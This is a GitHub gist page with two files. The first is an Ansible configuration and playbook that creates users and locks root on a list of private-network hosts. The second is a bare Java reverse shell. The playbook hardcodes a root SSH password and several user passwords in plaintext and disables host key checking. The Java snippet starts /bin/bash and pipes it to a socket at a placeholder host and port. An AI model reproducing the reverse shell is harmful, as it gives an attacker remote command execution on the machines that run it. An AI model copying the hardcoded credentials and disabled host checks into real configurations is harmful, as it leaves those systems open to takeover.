Last active
March 30, 2019 05:26
-
-
Save sampritipanda/b7bd1dca1cf7c7834d526be1761ab7dd to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ansible.cfg | |
[defaults] | |
host_key_checking = False | |
# hosts | |
all: | |
hosts: | |
192.168.3.12: | |
192.168.3.13: | |
192.168.3.14: | |
192.168.3.17: | |
192.168.3.18: | |
ansible_python_interpreter: /usr/local/bin/python2.7 | |
ansible_connection: paramiko | |
192.168.3.19: | |
ansible_connection: local | |
192.168.13.11: | |
192.168.13.12: | |
192.168.13.13: | |
192.168.13.15: | |
# playbook.yml | |
--- | |
- hosts: all | |
vars: | |
ansible_user: root | |
ansible_ssh_pass: propersecure54 | |
remote_user: root | |
tasks: | |
- name: print debug | |
debug: | |
msg: "{{ ansible_facts['os_family'] }}" | |
- name: create users | |
user: | |
name: "{{ item.name }}" | |
password: "{{ item.pass | password_hash('sha256_crypt') }}" | |
shell: "{{ '/bin/sh' if ansible_facts['os_family'] == 'FreeBSD' else '/bin/bash' }}" | |
groups: "{{ 'sudo' if ansible_facts['os_family'] == 'Debian' else 'wheel' }}" | |
loop: | |
- { name: 'sam', pass: 'annualresist00dprk' } | |
- { name: 'matt', pass: 'showersocial94czhu' } | |
- { name: 'alfonzo', pass: 'cornermatter52fyre' } | |
- name: fix ghostbsd env | |
shell: cp -f /root/.xinitrc /home/{{ item }} | |
loop: ['sam', 'matt', 'alfonzo'] | |
when: ansible_facts['os_family'] == 'FreeBSD' | |
- name: chown su | |
file: | |
path: "{{ '/usr/bin/su' if ansible_facts['os_family'] == 'FreeBSD' else '/bin/su' }}" | |
owner: root | |
group: "{{ 'sudo' if ansible_facts['os_family'] == 'Debian' else 'wheel' }}" | |
mode: '4754' | |
- name: lock root | |
user: | |
name: root | |
password: '!' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
String host="<ip>"; | |
int port=3000; | |
String cmd="/bin/bash"; | |
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); | |
Socket s=new Socket(host,port); | |
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream(); | |
OutputStream po=p.getOutputStream(),so=s.getOutputStream(); | |
while(!s.isClosed()){ | |
while(pi.available()>0) | |
so.write(pi.read()); | |
while(pe.available()>0) | |
so.write(pe.read()); | |
while(si.available()>0) | |
po.write(si.read()); | |
so.flush(); | |
po.flush(); | |
Thread.sleep(50); | |
try { | |
p.exitValue(); | |
break; | |
} catch (Exception e){} | |
}; | |
p.destroy(); | |
s.close(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment